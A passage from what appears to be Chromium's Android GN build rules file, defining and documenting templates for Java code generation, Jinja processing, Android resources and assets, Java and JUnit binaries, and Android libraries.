in\n  # sources will be compiled using the C pre-processor. If include_path is\n  # specified, it will be passed (with --I) to the pre-processor.\n  #\n  # This target will create a single .srcjar. Adding this target to an\n  # android_library target's srcjar_deps will make the generated java files be\n  # included in that library's final outputs.\n  #\n  # Variables\n  #   sources: list of files to be processed by the C pre-processor. For each\n  #     file in sources, there will be one .java file in the final .srcjar. For a\n  #     file named FooBar.template, a java file will be created with name\n  #     FooBar.java.\n  #   inputs: additional compile-time dependencies. Any files\n  #     `#include`-ed in the templates should be listed here.\n  #   package_name: this will be the subdirectory for each .java file in the\n  #     .srcjar.\n  #\n  # Example\n  #   java_cpp_template(\"foo_generated_enum\") {\n  #     sources = [\n  #       \"android/java/templates/Foo.template\",\n  #     ]\n  #     inputs = [\n  #       \"android/java/templates/native_foo_header.h\",\n  #     ]\n  #\n  #     package_name = \"org/chromium/base/library_loader\"\n  #     include_path = \"android/java/templates\"\n  #   }\n  template(\"java_cpp_template\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    _include_path = \"//\"\n    if (defined(invoker.include_path)) {\n      _include_path = invoker.include_path\n    }\n\n    _apply_gcc_target_name = \"${target_name}__apply_gcc\"\n    _base_gen_dir = \"${target_gen_dir}/${target_name}/java_cpp_template\"\n\n    action_foreach(_apply_gcc_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"public_deps\",\n                               \"data_deps\",\n                             ])\n      script = \"//build/android/gyp/gcc_preprocess.py\"\n      if (defined(invoker.inputs)) {\n        inputs = invoker.inputs + []\n      }\n      depfile =\n          \"${target_gen_dir}/${invoker.target_name}_{{source_name_part}}.d\"\n\n      sources = invoker.sources\n\n      outputs = [\n        \"$_base_gen_dir/${invoker.package_name}/{{source_name_part}}.java\",\n      ]\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--include-path\",\n        rebase_path(_include_path, root_build_dir),\n        \"--output\",\n        rebase_path(outputs[0], root_build_dir),\n        \"--template={{source}}\",\n      ]\n\n      if (defined(invoker.defines)) {\n        foreach(def, invoker.defines) {\n          args += [\n            \"--defines\",\n            def,\n          ]\n        }\n      }\n    }\n\n    # Filter out .d files.\n    set_sources_assignment_filter([ \"*.d\" ])\n    sources = get_target_outputs(\":$_apply_gcc_target_name\")\n\n    zip(target_name) {\n      forward_variables_from(invoker, [ \"visibility\" ])\n      inputs = sources\n      output = \"${target_gen_dir}/${target_name}.srcjar\"\n      base_dir = _base_gen_dir\n      deps = [\n        \":$_apply_gcc_target_name\",\n      ]\n    }\n  }\n\n  # Declare a target for generating Java classes from C++ enums.\n  #\n  # This target generates Java files from C++ enums using a script.\n  #\n  # This target will create a single .srcjar. Adding this target to an\n  # android_library target's srcjar_deps will make the generated java files be\n  # included in that library's final outputs.\n  #\n  # Variables\n  #   sources: list of files to be processed by the script. For each annotated\n  #     enum contained in the sources files the script will generate a .java\n  #     file with the same name as the name of the enum.\n  #\n  # Example\n  #   java_cpp_enum(\"foo_generated_enum\") {\n  #     sources = [\n  #       \"src/native_foo_header.h\",\n  #     ]\n  #   }\n  template(\"java_cpp_enum\") {\n    action(target_name) {\n      # The sources aren't compiled so don't check their dependencies.\n      check_includes = false\n      set_sources_assignment_filter([])\n\n      assert(defined(invoker.sources))\n      forward_variables_from(invoker,\n                             [\n                               \"sources\",\n                               \"testonly\",\n                               \"visibility\",\n                             ])\n\n      script = \"//build/android/gyp/java_cpp_enum.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n\n      _srcjar_path = \"${target_gen_dir}/${target_name}.srcjar\"\n      _rebased_srcjar_path = rebase_path(_srcjar_path, root_build_dir)\n      _rebased_sources = rebase_path(invoker.sources, root_build_dir)\n\n      args = [\n               \"--depfile\",\n               rebase_path(depfile, root_build_dir),\n               \"--srcjar=$_rebased_srcjar_path\",\n             ] + _rebased_sources\n      outputs = [\n        _srcjar_path,\n      ]\n    }\n  }\n\n  # Declare a target for processing a Jinja template.\n  #\n  # Variables\n  #   input: The template file to be processed.\n  #   output: Where to save the result.\n  #   variables: (Optional) A list of variables to make available to the template\n  #     processing environment, e.g. [\"name=foo\", \"color=red\"].\n  #\n  # Example\n  #   jinja_template(\"chrome_public_manifest\") {\n  #     input = \"java/AndroidManifest.xml\"\n  #     output = \"$target_gen_dir/AndroidManifest.xml\"\n  #   }\n  template(\"jinja_template\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.input))\n    assert(defined(invoker.output))\n\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"visibility\",\n                               \"deps\",\n                             ])\n\n      sources = [\n        invoker.input,\n      ]\n      script = \"//build/android/gyp/jinja_template.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n\n      outputs = [\n        invoker.output,\n      ]\n\n      args = [\n        \"--loader-base-dir\",\n        rebase_path(\"//\", root_build_dir),\n        \"--inputs\",\n        rebase_path(invoker.input, root_build_dir),\n        \"--output\",\n        rebase_path(invoker.output, root_build_dir),\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n      ]\n      if (defined(invoker.variables)) {\n        variables = invoker.variables\n        args += [ \"--variables=${variables}\" ]\n      }\n    }\n  }\n\n  # Declare a target for processing Android resources as Jinja templates.\n  #\n  # This takes an Android resource directory where each resource is a Jinja\n  # template, processes each template, then packages the results in a zip file\n  # which can be consumed by an android resources, library, or apk target.\n  #\n  # If this target is included in the deps of an android resources/library/apk,\n  # the resources will be included with that target.\n  #\n  # Variables\n  #   resources: The list of resources files to process.\n  #   res_dir: The resource directory containing the resources.\n  #   variables: (Optional) A list of variables to make available to the template\n  #     processing environment, e.g. [\"name=foo\", \"color=red\"].\n  #\n  # Example\n  #   jinja_template_resources(\"chrome_public_template_resources\") {\n  #     res_dir = \"res_template\"\n  #     resources = [\"res_template/xml/syncable.xml\"]\n  #     variables = [\"color=red\"]\n  #   }\n  template(\"jinja_template_resources\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.resources))\n    assert(defined(invoker.res_dir))\n\n    _base_path = \"$target_gen_dir/$target_name\"\n    _resources_zip = _base_path + \".resources.zip\"\n    _build_config = _base_path + \".build_config\"\n\n    write_build_config(\"${target_name}__build_config\") {\n      build_config = _build_config\n      resources_zip = _resources_zip\n      type = \"android_resources\"\n      if (defined(invoker.deps)) {\n        possible_config_deps = invoker.deps\n      }\n    }\n\n    action(\"${target_name}__template\") {\n      forward_variables_from(invoker, [ \"deps\" ])\n      sources = invoker.resources\n      script = \"//build/android/gyp/jinja_template.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n\n      outputs = [\n        _resources_zip,\n      ]\n\n      rebased_resources = rebase_path(invoker.resources, root_build_dir)\n      args = [\n        \"--inputs=${rebased_resources}\",\n        \"--inputs-base-dir\",\n        rebase_path(invoker.res_dir, root_build_dir),\n        \"--outputs-zip\",\n        rebase_path(_resources_zip, root_build_dir),\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n      ]\n      if (defined(invoker.variables)) {\n        variables = invoker.variables\n        args += [ \"--variables=${variables}\" ]\n      }\n    }\n\n    group(target_name) {\n      public_deps = [\n        \":${target_name}__build_config\",\n        \":${target_name}__template\",\n      ]\n    }\n  }\n\n  # Declare an Android resources target\n  #\n  # This creates a resources zip file that will be used when building an Android\n  # library or apk and included into a final apk.\n  #\n  # To include these resources in a library/apk, this target should be listed in\n  # the library's deps. A library/apk will also include any resources used by its\n  # own dependencies.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Any Android resources\n  #     listed in deps will be included by libraries/apks that depend on this\n  #     target.\n  #   resource_dirs: List of directories containing resources for this target.\n  #   generated_resource_dirs: List of directories containing resources for this\n  #     target which are *generated* by a dependency. |generated_resource_files|\n  #     must be specified if |generated_resource_dirs| is specified.\n  #   generated_resource_files: List of all files in |generated_resource_dirs|.\n  #     |generated_resource_dirs| must be specified in |generated_resource_files|\n  #     is specified.\n  #   android_manifest: AndroidManifest.xml for this target. Defaults to\n  #     //build/android/AndroidManifest.xml.\n  #   android_manifest_dep: Target that generates AndroidManifest (if applicable)\n  #   custom_package: java package for generated .java files.\n  #   v14_skip: If true, don't run v14 resource generator on this. Defaults to\n  #     false. (see build/android/gyp/generate_v14_compatible_resources.py)\n  #   shared_resources: If true make a resource package that can be loaded by a\n  #     different application at runtime to access the package's resources.\n  #   app_as_shared_lib: If true make a resource package that can be loaded as\n  #     both shared_resources and normal application.\n\n  # Example:\n  #   android_resources(\"foo_resources\") {\n  #     deps = [\":foo_strings_grd\"]\n  #     resource_dirs = [\"res\"]\n  #     custom_package = \"org.chromium.foo\"\n  #   }\n  #\n  #   android_resources(\"foo_resources_overrides\") {\n  #     deps = [\":foo_resources\"]\n  #     resource_dirs = [\"res_overrides\"]\n  #   }\n  template(\"android_resources\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.resource_dirs))\n\n    base_path = \"$target_gen_dir/$target_name\"\n    zip_path = base_path + \".resources.zip\"\n    srcjar_path = base_path + \".srcjar\"\n    r_text_path = base_path + \"_R.txt\"\n    build_config = base_path + \".build_config\"\n\n    build_config_target_name = \"${target_name}__build_config\"\n    process_resources_target_name = \"${target_name}__process_resources\"\n    final_target_name = target_name\n\n    write_build_config(build_config_target_name) {\n      type = \"android_resources\"\n      forward_variables_from(invoker,\n                             [\n                               \"android_manifest\",\n                               \"custom_package\",\n                             ])\n      resource_dirs = []\n      if (defined(invoker.resource_dirs)) {\n        resource_dirs += invoker.resource_dirs\n      }\n      if (defined(invoker.generated_resource_dirs)) {\n        resource_dirs += invoker.generated_resource_dirs\n      }\n\n      if (defined(invoker.deps)) {\n        possible_config_deps = invoker.deps\n      }\n      if (defined(invoker.android_manifest_dep)) {\n        deps = [\n          invoker.android_manifest_dep,\n        ]\n      }\n\n      # No package means resources override their deps.\n      if (defined(custom_package) || defined(android_manifest)) {\n        r_text = r_text_path\n      } else {\n        assert(defined(invoker.deps),\n               \"Must specify deps when custom_package is omitted.\")\n      }\n\n      resources_zip = zip_path\n      srcjar = srcjar_path\n    }\n\n    process_resources(process_resources_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"app_as_shared_lib\",\n                               \"android_manifest\",\n                               \"custom_package\",\n                               \"deps\",\n                               \"generated_resource_dirs\",\n                               \"generated_resource_files\",\n                               \"resource_dirs\",\n                               \"shared_resources\",\n                               \"v14_skip\",\n                             ])\n      if (!defined(deps)) {\n        deps = []\n      }\n      deps += [ \":$build_config_target_name\" ]\n      if (defined(invoker.android_manifest_dep)) {\n        deps += [ invoker.android_manifest_dep ]\n      }\n\n      # Always generate R.onResourcesLoaded() method, it is required for\n      # compiling ResourceRewriter, there is no side effect because the\n      # generated R.class isn't used in final apk.\n      shared_resources = true\n      if (!defined(android_manifest)) {\n        android_manifest = \"//build/android/AndroidManifest.xml\"\n      }\n    }\n\n    group(final_target_name) {\n      forward_variables_from(invoker, [ \"visibility\" ])\n      public_deps = [\n        \":${target_name}__process_resources\",\n      ]\n    }\n  }\n\n  # Declare an Android assets target.\n  #\n  # Defines a set of files to include as assets in a dependent apk.\n  #\n  # To include these assets in an apk, this target should be listed in\n  # the apk's deps, or in the deps of a library target used by an apk.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Any Android assets\n  #     listed in deps will be included by libraries/apks that depend on this\n  #     target.\n  #   sources: List of files to include as assets.\n  #   renaming_sources: List of files to include as assets and be renamed.\n  #   renaming_destinations: List of asset paths for files in renaming_sources.\n  #   disable_compression: Whether to disable compression for files that are\n  #     known to be compressable (default: false).\n  #\n  # Example:\n  # android_assets(\"content_shell_assets\") {\n  #   deps = [\n  #     \":generates_foo\",\n  #     \":other_assets\",\n  #     ]\n  #   sources = [\n  #     \"//path/asset1.png\",\n  #     \"//path/asset2.png\",\n  #     \"$target_gen_dir/foo.dat\",\n  #   ]\n  # }\n  #\n  # android_assets(\"overriding_content_shell_assets\") {\n  #   deps = [ \":content_shell_assets\" ]\n  #   # Override foo.dat from content_shell_assets.\n  #   sources = [ \"//custom/foo.dat\" ]\n  #   renaming_sources = [ \"//path/asset2.png\" ]\n  #   renaming_destinations = [ \"renamed/asset2.png\" ]\n  # }\n  template(\"android_assets\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    _build_config = \"$target_gen_dir/$target_name.build_config\"\n    _build_config_target_name = \"${target_name}__build_config\"\n\n    write_build_config(_build_config_target_name) {\n      type = \"android_assets\"\n      build_config = _build_config\n\n      forward_variables_from(invoker, [ \"disable_compression\" ])\n\n      if (defined(invoker.deps)) {\n        possible_config_deps = invoker.deps\n      }\n\n      if (defined(invoker.sources)) {\n        asset_sources = invoker.sources\n      }\n      if (defined(invoker.renaming_sources)) {\n        assert(defined(invoker.renaming_destinations))\n        _source_count = 0\n        foreach(_, invoker.renaming_sources) {\n          _source_count += 1\n        }\n        _dest_count = 0\n        foreach(_, invoker.renaming_destinations) {\n          _dest_count += 1\n        }\n        assert(\n            _source_count == _dest_count,\n            \"android_assets() renaming_sources.length != renaming_destinations.length\")\n        asset_renaming_sources = invoker.renaming_sources\n        asset_renaming_destinations = invoker.renaming_destinations\n      }\n    }\n\n    group(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"visibility\",\n                             ])\n      public_deps = [\n        \":$_build_config_target_name\",\n      ]\n    }\n  }\n\n  # Declare a group() that supports forwarding java dependency information.\n  #\n  # Example\n  #  java_group(\"conditional_deps\") {\n  #    if (enable_foo) {\n  #      deps = [\":foo_java\"]\n  #    }\n  #  }\n  template(\"java_group\") {\n    forward_variables_from(invoker, [ \"testonly\" ])\n    write_build_config(\"${target_name}__build_config\") {\n      type = \"group\"\n      build_config = \"$target_gen_dir/${invoker.target_name}.build_config\"\n      if (defined(invoker.deps)) {\n        possible_config_deps = invoker.deps\n      }\n    }\n    group(target_name) {\n      forward_variables_from(invoker, \"*\")\n      if (!defined(deps)) {\n        deps = []\n      }\n      deps += [ \":${target_name}__build_config\" ]\n    }\n  }\n\n  # Declare a target that generates localized strings.xml from a .grd file.\n  #\n  # If this target is included in the deps of an android resources/library/apk,\n  # the strings.xml will be included with that target.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target.\n  #   grd_file: Path to the .grd file to generate strings.xml from.\n  #   outputs: Expected grit outputs (see grit rule).\n  #\n  # Example\n  #  java_strings_grd(\"foo_strings_grd\") {\n  #    grd_file = \"foo_strings.grd\"\n  #  }\n  template(\"java_strings_grd\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    base_path = \"$target_gen_dir/$target_name\"\n    resources_zip = base_path + \".resources.zip\"\n    build_config = base_path + \".build_config\"\n\n    write_build_config(\"${target_name}__build_config\") {\n      type = \"android_resources\"\n    }\n\n    # Put grit files into this subdirectory of target_gen_dir.\n    extra_output_path = target_name + \"_grit_output\"\n\n    grit_target_name = \"${target_name}__grit\"\n    grit_output_dir = \"$target_gen_dir/$extra_output_path\"\n    grit(grit_target_name) {\n      forward_variables_from(invoker, [ \"deps\" ])\n      grit_flags = [\n        \"-E\",\n        \"ANDROID_JAVA_TAGGED_ONLY=false\",\n      ]\n      output_dir = grit_output_dir\n      resource_ids = \"\"\n      source = invoker.grd_file\n      outputs = invoker.outputs\n    }\n\n    # This needs to get outputs from grit's internal target, not the final\n    # source_set.\n    generate_strings_outputs = get_target_outputs(\":${grit_target_name}_grit\")\n\n    zip(\"${target_name}__zip\") {\n      base_dir = grit_output_dir\n      inputs = generate_strings_outputs\n      output = resources_zip\n      deps = [\n        \":$grit_target_name\",\n      ]\n    }\n\n    group(target_name) {\n      public_deps = [\n        \":${target_name}__build_config\",\n        \":${target_name}__zip\",\n      ]\n    }\n  }\n\n  # Declare a target that packages strings.xml generated from a grd file.\n  #\n  # If this target is included in the deps of an android resources/library/apk,\n  # the strings.xml will be included with that target.\n  #\n  # Variables\n  #  grit_output_dir: directory containing grit-generated files.\n  #  generated_files: list of android resource files to package.\n  #\n  # Example\n  #  java_strings_grd_prebuilt(\"foo_strings_grd\") {\n  #    grit_output_dir = \"$root_gen_dir/foo/grit\"\n  #    generated_files = [\n  #      \"values/strings.xml\"\n  #    ]\n  #  }\n  template(\"java_strings_grd_prebuilt\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    base_path = \"$target_gen_dir/$target_name\"\n    resources_zip = base_path + \".resources.zip\"\n    build_config = base_path + \".build_config\"\n\n    build_config_target_name = \"${target_name}__build_config\"\n    zip_target_name = \"${target_name}__zip\"\n    final_target_name = target_name\n\n    write_build_config(build_config_target_name) {\n      type = \"android_resources\"\n    }\n\n    zip(zip_target_name) {\n      visibility = [ \":$final_target_name\" ]\n\n      base_dir = invoker.grit_output_dir\n      inputs = rebase_path(invoker.generated_files, \".\", base_dir)\n      output = resources_zip\n      deps = [\n        \":$build_config_target_name\",\n      ]\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n    }\n\n    group(final_target_name) {\n      forward_variables_from(invoker, [ \"visibility\" ])\n      public_deps = [\n        \":$zip_target_name\",\n      ]\n    }\n  }\n\n  # Declare a Java executable target\n  #\n  # This target creates an executable from java code and libraries. The executable\n  # will be in the output folder's /bin/ directory.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Java targets in this list\n  #     will be included in the executable (and the javac classpath).\n  #   java_files: List of .java files included in this library.\n  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars\n  #     will be added to java_files and be included in this library.\n  #   srcjars: List of srcjars to be included in this library, together with the\n  #     ones obtained from srcjar_deps.\n  #   bypass_platform_checks: Disables checks about cross-platform (Java/Android)\n  #     dependencies for this target. This will allow depending on an\n  #     android_library target, for example.\n  #   chromium_code: If true, extra analysis warning/errors will be enabled.\n  #   enable_errorprone: If true, enables the errorprone compiler.\n  #   enable_incremental_javac_override: Overrides the\n  #     global enable_incremental_javac.\n  #   main_class: When specified, a wrapper script is created within\n  #     $root_build_dir/bin to launch the binary with the given class as the\n  #     entrypoint.\n  #   wrapper_script_args: List of additional arguments for the wrapper script.\n  #\n  #   data_deps, testonly\n  #\n  # Example\n  #   java_binary(\"foo\") {\n  #     java_files = [ \"org/chromium/foo/FooMain.java\" ]\n  #     deps = [ \":bar_java\" ]\n  #     main_class = \"org.chromium.foo.FooMain\"\n  #   }\n  template(\"java_binary\") {\n    set_sources_assignment_filter([])\n\n    java_library_impl(target_name) {\n      forward_variables_from(invoker, \"*\")\n      supports_android = false\n      main_class = invoker.main_class\n      is_java_binary = true\n    }\n  }\n\n  # Declare a Junit executable target\n  #\n  # This target creates an executable from java code for running as a junit test\n  # suite. The executable will be in the output folder's /bin/ directory.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Java targets in this list\n  #     will be included in the executable (and the javac classpath).\n  #\n  #   java_files: List of .java files included in this library.\n  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars\n  #     will be added to java_files and be included in this library.\n  #   srcjars: List of srcjars to be included in this library, together with the\n  #     ones obtained from srcjar_deps.\n  #\n  #   chromium_code: If true, extra analysis warning/errors will be enabled.\n  #\n  # Example\n  #   junit_binary(\"foo\") {\n  #     java_files = [ \"org/chromium/foo/FooTest.java\" ]\n  #     deps = [ \":bar_java\" ]\n  #   }\n  template(\"junit_binary\") {\n    set_sources_assignment_filter([])\n    testonly = true\n\n    _java_binary_target_name = \"${target_name}__java_binary\"\n    _test_runner_target_name = \"${target_name}__test_runner_script\"\n\n    test_runner_script(_test_runner_target_name) {\n      test_name = invoker.target_name\n      test_suite = invoker.target_name\n      test_type = \"junit\"\n      ignore_all_data_deps = true\n    }\n\n    java_binary(_java_binary_target_name) {\n      deps = []\n      output_name = invoker.target_name\n      forward_variables_from(invoker, \"*\")\n      testonly = true\n      bypass_platform_checks = true\n      main_class = \"org.chromium.testing.local.JunitTestMain\"\n      wrapper_script_name = \"helper/$target_name\"\n      deps += [\n        \"//testing/android/junit:junit_test_support\",\n        \"//third_party/junit\",\n        \"//third_party/mockito:mockito_java\",\n        \"//third_party/robolectric:robolectric_all_java\",\n      ]\n    }\n    group(target_name) {\n      public_deps = [\n        \":$_java_binary_target_name\",\n        \":$_test_runner_target_name\",\n      ]\n    }\n  }\n\n  # Declare a java library target\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Java targets in this list\n  #     will be added to the javac classpath.\n  #\n  #   java_files: List of .java files included in this library.\n  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars\n  #     will be added to java_files and be included in this library.\n  #   srcjars: List of srcjars to be included in this library, together with the\n  #     ones obtained from srcjar_deps.\n  #\n  #   input_jars_paths: A list of paths to the jars that should be included\n  #     in the classpath. These are in addition to library .jars that\n  #     appear in deps.\n  #\n  #   chromium_code: If true, extra analysis warning/errors will be enabled.\n  #   enable_errorprone: If true, enables the errorprone compiler.\n  #   enable_incremental_javac_override: Overrides the global\n  #     enable_incremental_javac.\n  #\n  #   jar_excluded_patterns: List of patterns of .class files to exclude from the\n  #     final jar.\n  #\n  #   output_name: File name for the output .jar (not including extension).\n  #     Defaults to the input .jar file name.\n  #\n  #   proguard_preprocess: If true, proguard preprocessing will be run. This can\n  #     be used to remove unwanted parts of the library.\n  #   proguard_preprocess_config: Path to the proguard config for preprocessing.\n  #   proguard_configs: List of proguard configs to use in final apk step for\n  #     any apk that depends on this library.\n  #\n  #   supports_android: If true, Android targets (android_library, android_apk)\n  #     may depend on this target. Note: if true, this target must only use the\n  #     subset of Java available on Android.\n  #   bypass_platform_checks: Disables checks about cross-platform (Java/Android)\n  #     dependencies for this target. This will allow depending on an\n  #     android_library target, for example.\n  #\n  #   additional_jar_files: Use to package additional files into the output jar.\n  #     Pass a list of length-2 lists with format\n  #     [ [ path_to_file, path_to_put_in_jar ] ]\n  #\n  #\n  #   data_deps, testonly\n  #\n  # Example\n  #   java_library(\"foo_java\") {\n  #     java_files = [\n  #       \"org/chromium/foo/Foo.java\",\n  #       \"org/chromium/foo/FooInterface.java\",\n  #       \"org/chromium/foo/FooService.java\",\n  #     ]\n  #     deps = [\n  #       \":bar_java\"\n  #     ]\n  #     srcjar_deps = [\n  #       \":foo_generated_enum\"\n  #     ]\n  #     jar_excluded_patterns = [\n  #       \"*/FooService.class\", \"*/FooService\\$*.class\"\n  #     ]\n  #   }\n  template(\"java_library\") {\n    set_sources_assignment_filter([])\n    java_library_impl(target_name) {\n      forward_variables_from(invoker, \"*\")\n    }\n  }\n\n  # Declare a java library target for a prebuilt jar\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Java targets in this list\n  #     will be added to the javac classpath.\n  #   jar_path: Path to the prebuilt jar.\n  #   jar_dep: Target that builds jar_path (optional).\n  #   main_class: When specified, a wrapper script is created within\n  #     $root_build_dir/bin to launch the binary with the given class as the\n  #     entrypoint.\n  #   output_name: File name for the output .jar (not including extension).\n  #     Defaults to the input .jar file name.\n  #   proguard_preprocess: If true, proguard preprocessing will be run. This can\n  #     be used to remove unwanted parts of the library.\n  #   proguard_preprocess_config: Path to the proguard config for preprocessing.\n  #   proguard_configs: List of proguard configs to use in final apk step for\n  #     any apk that depends on this library.\n  #   supports_android: If true, Android targets (android_library, android_apk)\n  #     may depend on this target. Note: if true, this target must only use the\n  #     subset of Java available on Android.\n  #\n  # Example\n  #   java_prebuilt(\"foo_java\") {\n  #     jar_path = \"foo.jar\"\n  #     deps = [\n  #       \":foo_resources\",\n  #       \":bar_java\"\n  #     ]\n  #   }\n  template(\"java_prebuilt\") {\n    set_sources_assignment_filter([])\n    java_prebuilt_impl(target_name) {\n      forward_variables_from(invoker, \"*\")\n    }\n  }\n\n  # Declare an Android library target\n  #\n  # This target creates an Android library containing java code and Android\n  # resources.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Java targets in this list\n  #     will be added to the javac classpath. Android resources in dependencies\n  #     will be used when building this library.\n  #\n  #   java_files: List of .java files included in this library.\n  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars\n  #     will be added to java_files and be included in this library.\n  #   srcjars: List of srcjars to be included in this library, together with the\n  #     ones obtained from srcjar_deps.\n  #\n  #   input_jars_paths: A list of paths to the jars that should be included\n  #     in the classpath. These are in addition to library .jars that\n  #     appear in deps.\n  #\n  #   chromium_code: If true, extra analysis warning/errors will be enabled.\n  #   enable_errorprone: If true, enables the errorprone compiler.\n  #   enable_incremental_javac_override: Overrides the global\n  #     enable_incremental_javac.\n  #\n  #   jar_excluded_patterns: List of patterns of .class files to exclude from the\n  #     final jar.\n  #\n  #   proguard_preprocess: If true, proguard preprocessing will be run. This can\n  #     be used to remove unwanted parts of the library.\n  #   proguard_preprocess_config: Path to the proguard config for preprocessing.\n  #   proguard_configs: List of proguard configs to use in final apk step for\n  #     any apk that depends on this library.\n  #\n  #   output_name: File name for the output .jar (not including extension).\n  #     Defaults to the input .jar file name.\n  #   dex_path: If set, the resulting .dex.jar file will be placed under this\n  #     path.\n  #\n  #   alternative_android_sdk_ijar: if set, the given android_sdk_ijar file\n  #     replaces the default android_sdk_ijar.\n  #\n  #   alternative_android_sdk_ijar_dep: the target that generates\n  #      alternative_android_sdk_ijar, must be set if alternative_android_sdk_ijar\n  #      is used.\n  #\n  #   emma_never_instrument: Disables EMMA Java code coverage for this target.\n  #\n  # Example\n  #   android_library(\"foo_java\") {\n  #     java_files = [\n  #       \"android/org/chromium/foo/Foo.java\",\n  #       \"android/org/chromium/foo/FooInterface.java\",\n  #       \"android/org/chromium/foo/FooService.java\",\n  #     ]\n  #     deps = [\n  #       \":bar_java\"\n  #     ]\n  #     srcjar_deps = [\n  #       \":foo_generated_enum\"\n  #     ]\n  #     jar_excluded_patterns = [\n  #       \"*/FooService.class\", \"*/FooService\\$*.class\"\n  #     ]\n  #   }\n  template(\"android_library\") {\n    set_sources_assignment_filter([])\n    assert(!defined(invoker.jar_path),\n           \"android_library does not support a custom jar path\")\n\n    if (defined(invoker.alternative_android_sdk_ijar)) {\n      assert(defined(invoker.alternative_android_sdk_ijar_dep))\n    }\n\n    java_library_impl(target_name) {\n      forward_variables_from(invoker, \"*\")\n\n      supports_android = true\n      requires_android = true\n\n      if (!defined(jar_excluded_patterns)) {\n        jar_excluded_patterns = []\n      }\n      jar_excluded_patterns += [\n        \"*/R.class\",\n        \"*/R\\$*.class\",\n        \"*/Manifest.class\",\n        \"*/Manifest\\$*.class\",\n      ]\n    }\n  }\n\n  # Declare a target that packages a set of Java dependencies into a standalone\n  # .dex.jar.\n  #\n  # Variables\n  #   deps: specifies the dependencies of this target. Android libraries in deps\n  #     will be packaged into the resulting .dex.jar file.\n  #   dex_path: location at which the output file will be put\n  template(\"android_standalone_library\") {\n    set_sources_assignment_filter([])\n    deps_dex(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"dex_path\",\n                               \"excluded_jars\",\n                             ])\n    }\n  }\n\n  # Declare an Android library target for a prebuilt jar\n  #\n  # This target creates an Android library containing java code and Android\n  # resources.\n  #\n  # Variables\n  #   deps: Specifies the dependencies of this target. Java targets in this list\n  #     will be added to the javac classpath. Android resources in dependencies\n  #     will be used when building this library.\n  #   jar_path: Path to the prebuilt jar.\n  #   output_name: File name for the output .jar (not including extension).\n  #     Defaults to the input .jar file name.\n  #   proguard_preprocess: If true, proguard preprocessing will be run. This can\n  #     be used to remove unwanted parts of the library.\n  #   proguard_preprocess_config: Path to the proguard config for preprocessing.\n  #   proguard_configs: List of proguard configs to use in final apk step for\n  #     any apk that depends on this library.\n  #\n  # Example\n  #   android_java_prebuilt(\"foo_java\") {\n  #     jar_path = \"foo.jar\"\n  #     deps = [\n  #       \":foo_resources\",\n  #       \":bar_java\"\n  #     ]\n  #   }\n  template(\"android_java_prebuilt\") {\n    set_sources_assignment_filter([])\n    java_prebuilt_impl(target_name) {\n      forward_variables_from(invoker, \"*\")\n      supports_android = true\n      requires_android = true\n      strip_resource_classes = true\n    }\n  }\n\n  # Declare an Android apk target\n  #\n  # This target creates an Android APK containing java code, resources, assets,\n  # and (possibly) native libraries.\n  #\n  # Variables\n  #   alternative_android_sdk_jar: The alternative android sdk jar used in\n  #     proguard.\n  #   android_aapt_path: Android aapt tool to replace default one to build\n  #     resource.\n  #   android_manifest: Path to AndroidManifest.xml.\n  #   android_manifest_dep: Target that generates AndroidManifest (if applicable)\n  #   chromium_code: If true, extra analysis warning/errors will be enabled.\n  #   dist_ijar_path: Path to create \"${target_name}_dist_ijar\" target\n  #     (used by instrumentation_test_apk).\n  #   data_deps: List of dependencies needed at runtime. These will be built but\n  #     won't change the generated .apk in any way (in fact they may be built\n  #     after the .apk is).\n  #   deps: List of dependencies. All Android java resources and libraries in the\n  #     \"transitive closure\" of these dependencies will be included in the apk.\n  #     Note: this \"transitive closure\" actually only includes such targets if\n  #     they are depended on through android_library or android_resources targets\n  #     (and so not through builtin targets like 'action', 'group', etc).\n  #   install_script_name: Name of wrapper script (default=target_name).\n  #   java_files: List of .java files to include in the apk.\n  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars\n  #      will be added to java_files and be included in this apk.\n  #   apk_name: Name for final apk.\n  #   final_apk_path: Path to final built apk. Default is\n  #     $root_out_dir/apks/$apk_name.apk. Setting this will override apk_name.\n  #   loadable_modules: List of paths to native libraries to include. Different\n  #     from |shared_libraries| in that:\n  #       * dependencies of this .so are not automatically included\n  #       * \".cr.so\" is never added\n  #       * they are not side-loaded for _incremental targets.\n  #       * load_library_from_apk, use_chromium_linker,\n  #         and enable_relocation_packing do 